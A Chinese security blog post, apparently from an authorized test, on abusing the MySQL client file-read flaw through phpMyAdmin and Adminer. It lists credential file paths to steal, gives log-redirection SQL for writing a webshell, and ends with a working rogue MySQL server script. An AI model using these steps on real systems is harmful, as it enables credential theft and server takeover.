日期:2022-07-14
作者:Obsidian
介绍:简单拓展一下Mysql Client
任意文件读取漏洞在Web
层面的可利用方式。
0x00 前言
Mysql Client
任意文件读取漏洞,最早可追溯到2016
年。
MySQL
连接文件读取 (russiansecurity.expert
)http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/但GitHub
上的一份工具代码显示日期是2013
年。
GitHub - Gifts/Rogue-MySql-Server: Rogue MySql Serverhttps://github.com/Gifts/Rogue-MySql-Server
我们有理由相信它已经存在很多年,但一直没有被重视。
近些年在CTF
比赛以及攻防演练中,才渐渐有被提起的趋势。
漏洞的利用过程大致是通过客户端连接服务端的过程,在服务端读取客户端的任意文件。
目前大部分的利用方式是网站install
页面的可控数据库连接,或者搭建恶意服务器蜜罐。
而这次的故事,要从一个可连接远程数据库的phpMyAdmin
说起。
在某次授权测试时,发现目标网站存在phpMyAdmin
,但无弱口令。
正在一筹莫展的时候,想起了Mysql Client
任意文件读取漏洞。
经过一番操作,最终读到了网站的配置文件,获取到了数据库密码,并且拿到了shell
。
但也由此引发了一个想法,既然phpMyAdmin
可以利用,那么其他的同类型程序是否也可以?
于是,就有了这篇文章。
0x01 探索
在尝试其他可控数据库连接的Web
程序时,首先想到的就是各种探针。
例如:phpstudy
探针、雅黑PHP
探针、UPUPW PHP
探针、iprober2
探针等。
本以为自己发现了不得了的大漏洞,但实际却是让人失望的。
各类探针的尝试均以失败告终。
原因是,探针接收了greeting
包之后就断开了连接,并不会进行其他多余操作。
这就导致了后续的Load data local infile
语句不被接收,也就无法读取文件。
既然探针无法利用,那就只能继续研究已知可用的phpMyAdmin
。
首先,网站使用phpstudy 2018
搭建,模拟了之前授权测试时的环境。
phpstudy 2018
默认存在旧版本的phpMyAdmin
,只需要修改配置文件phpMyAdmin\libraries\config.default.php
在文件的725
行,将AllowArbitraryServer
的值修改为true
,允许连接其他服务器。
此时进行漏洞测试,是可以正常利用的。
但这只是很老的版本,需要进行新版本的测试。
很不幸的发现,在phpMyAdmin
的4.8.5
版本中,已经修复该漏洞。
phpMyAdmin-4.8.5
https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f
之后,测试了phpStudy v8.1
,发现该版本没有默认安装phpMyAdmin
,并且提供的版本也是修复漏洞的4.8.5
。
但是,在phpStudy v8.1
的默认环境下,旧版本的phpMyAdmin
同样无法复现漏洞。
经过艰难的查询资料得知,“MySQL
服务端恶意读取客户端文件漏洞”在 PHP 7.3
版本的 Mysqli
链接操作中被修复。
而phpStudy v8.1
默认环境下的php版本,正是7.3.4
。
至此,phpMyAdmin
想要复现Mysql Client
任意文件读取漏洞,需要满足的条件是:
1. PHP 版本 ≤ 7.2.X
2. phpMyAdmin 版本 ≤ 4.8.4
3. AllowArbitraryServer = true
除了phpMyAdmin
之外,另一个与它功能类似且常见的程序是Adminer
。
经过尝试发现,Adminer
在4.6.3
版本后,修复了该漏洞。
最终结论如下:
phpMyAdmin : 版本 ≤4.8.4 && AllowArbitraryServer=true && PHP≤7.2.X
Adminer : 版本 ≤4.6.2 && PHP≤7.2.X
0x02 深入
在可以进行任意文件读取之后,我们需要研究的是如何进行下一步的深入利用。
这里,我们默认在同目录下的网站没有可利用的漏洞。
那么需要思考的就是,如何通过任意文件读取,登录phpMyAdmin
/Adminer
,进行getshell
。
要想getshell
,需要得到两个关键信息【数据库密码】和【绝对路径】。以下内容仅考虑phpMyAdmin
和Adminer
通用的利用方式,像CVE-2018-12613
和CVE-2018-19968
这种phpMyAdmin
独有的漏洞利用就不再赘述。
如何获取数据库密码?
1.网站配置文件
首先可以考虑读取同目录其他网站下的配置文件,里面会存在数据库帐号密码,例如:
config.php、db.php、db_con.php、common.php、database.php
2.SQL-Front
配置文件
如果网站使用phpstudy
搭建,可以尝试读取SQL-Front
的配置文件,如果曾经使用过该工具,会在配置中留存记录。
C:\phpStudy\PHPTutorial\SQL-Front\Accounts\Accounts.xml
3.MySQL
数据文件
可尝试从MySQL
数据文件中,查找数据库密码的密文,进行解密。
C:\phpStudy\PHPTutorial\MySQL\data\mysql\user.MYD
4.phpMyAdmin
配置文件
phpMyAdmin
共有三种认证方式,cookie
、config
和http
。
其中cookie
认证是默认的方式,意思是使用数据库自身的密码作为认证。
第二种是可以自定义phpMyAdmin
的密码,在配置文件中修改。
如果目标服务器采用的是第二种方式,可以尝试读取配置文件得到密码。
C:\phpStudy\PHPTutorial\WWW\phpMyAdmin\libraries\config.default.php
1.网站报错
如果网站本身配置不当,可通过报错页面获取绝对路径。
2.SELECT @@basedir
在获取到数据库密码之后,可登录phpMyAdmin
或Adminer
,执行SQL
语句查询数据库的绝对路径,进而查找规律,构造网站绝对路径。
3.日志文件
可读取网站的报错日志,通过日志中的信息查找绝对路径。
4.操作系统数据库文件
Linux
系统中有locate
命令,而这两个数据库中包含了系统内的所有本地文件路径信息。
可利用locate
命令将数据输出成文件。
/var/lib/mlocate/mlocate.db
/var/lib/locate.db
如何getshell?
目前,绝大部分情况下,mysql
数据库都没有任意写文件的权限。
于是最常用的getshell
的方式就变成了general_log
和slow_query_log_file
,也就是日志和慢日志。
这两种方法均不受secure_file_priv
的限制,只需要绝对路径即可。
select @@general_log_file;
select @@general_log;
set global general_log= 'ON';
set global general_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\shell.php';
select '';
select @@slow_query_log_file;
select @@slow_query_log;
set GLOBAL slow_query_log=1;
set GLOBAL slow_query_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\shell.php';
select '' from mysql.user where sleep(10);
0x03 总结
本来是兴致勃勃的整理细节,可是越整理越难过,版本的限制太严格。
处处碰壁,各种调试,东拼西凑才整理出这篇文章。
整理完才发现,大部分内容已经过时了,仅作为研究学习使用吧。
另外,特别鸣谢,实验室的同事 Zero
提供了技术支持和思路拓展。
最后,放一下测试时用到的读取文件的脚本代码:
import socket
import os
import logging
import sys
logging.basicConfig(level=logging.DEBUG)
def mysql_get_file_content(filename,conn,address):
conn.sendall("\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
try:
conn.recv(1024000)
except Exception as e:
print(e)
try:
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
res1 = conn.recv(1024000)
try:
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content=''
while True:
data = conn.recv(1024)
content += data
if len(data) < 1024:
break
conn.close()
if len(content) > 6:
return (True,content)
else:
return (False,content)
except Exception as e:
print (e)
except Exception as e:
print (e)
def run():
port = 3306
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("",port))
sv.listen(100)
conn, address = sv.accept()
logging.info('Conn from: %r', address)
file=sys.argv[1]
logging.info("want file...")
res,content = mysql_get_file_content(file,conn,address)
if res:
logging.info(content.strip())
if __name__ == '__main__':
run()